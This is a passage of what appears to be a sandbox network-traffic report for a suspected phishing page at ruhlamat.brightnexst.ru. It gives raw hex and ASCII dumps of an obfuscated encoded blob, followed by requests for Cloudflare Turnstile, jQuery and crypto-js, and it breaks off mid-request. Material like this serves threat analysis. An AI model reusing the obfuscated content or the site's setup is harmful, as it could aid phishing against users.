2025-03-18 08:10:24 UTC	1369	IN	Data Raw: 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 Data Ascii: k44Wk44Wk776g776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk77
2025-03-18 08:10:24 UTC	1369	IN	Data Raw: 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 Data Ascii: 44Wk776g776g776g44Wk44Wk776g44Wk44Wk776g44Wk44Wk776g776g776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g44Wk776g776g776g776g776g44Wk776g776g776g44Wk776g776g44W
2025-03-18 08:10:24 UTC	1369	IN	Data Raw: 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 Data Ascii: 76g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g44Wk776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk776g776g776g44Wk776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk44Wk776g44Wk776g776g776g776g44Wk44Wk44Wk776g44Wk776g
2025-03-18 08:10:24 UTC	500	IN	Data Raw: 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 Data Ascii: Wk776g776g776g44Wk776g44Wk776g776g776g776g776g44Wk776g776g776g44Wk776g776g44Wk44Wk776g44Wk776g44Wk44Wk776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk44Wk44Wk776g776g44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk4
2025-03-18 08:10:24 UTC	1369	IN	Data Raw: 37 66 66 61 0d 0a 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 Data Ascii: 7ffa776g776g776g44Wk44Wk776g44Wk44Wk44Wk776g44Wk776g776g776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g44Wk776g776g776g776g44Wk44Wk776g776g44Wk776g44Wk776g4
2025-03-18 08:10:24 UTC	1369	IN	Data Raw: 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 Data Ascii: k776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk776g776g776g776g44Wk776g44Wk776g776g44Wk776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g77
2025-03-18 08:10:24 UTC	1369	IN	Data Raw: 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 Data Ascii: 776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk776g776g776g776g776g776g44Wk44Wk776g44Wk776g44Wk44Wk776g44Wk44Wk776g776g44W

Timestamp	Bytes transferred	Direction	Data
2025-03-18 08:10:24 UTC	711	OUT	GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://ruhlamat.brightnexst.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 08:10:24 UTC	386	IN	HTTP/1.1 302 Found Date: Tue, 18 Mar 2025 08:10:24 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/g/f3b948d8acb8/api.js Server: cloudflare CF-RAY: 922340e17c8dc54d-EWR alt-svc: h3=":443"; ma=86400

Timestamp	Bytes transferred	Direction	Data
2025-03-18 08:10:24 UTC	670	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://ruhlamat.brightnexst.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 08:10:24 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 3527026 Date: Tue, 18 Mar 2025 08:10:24 GMT X-Served-By: cache-lga21931-LGA, cache-nyc-kteb1890098-NYC X-Cache: HIT, HIT X-Cache-Hits: 5930, 0 X-Timer: S1742285425.867243,VS0,VE0 Vary: Accept-Encoding
2025-03-18 08:10:24 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-03-18 08:10:24 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2025-03-18 08:10:24 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2025-03-18 08:10:24 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2025-03-18 08:10:24 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2025-03-18 08:10:24 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2025-03-18 08:10:24 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2025-03-18 08:10:24 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2025-03-18 08:10:24 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2025-03-18 08:10:24 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Timestamp	Bytes transferred	Direction	Data
2025-03-18 08:10:24 UTC	698	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://ruhlamat.brightnexst.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: 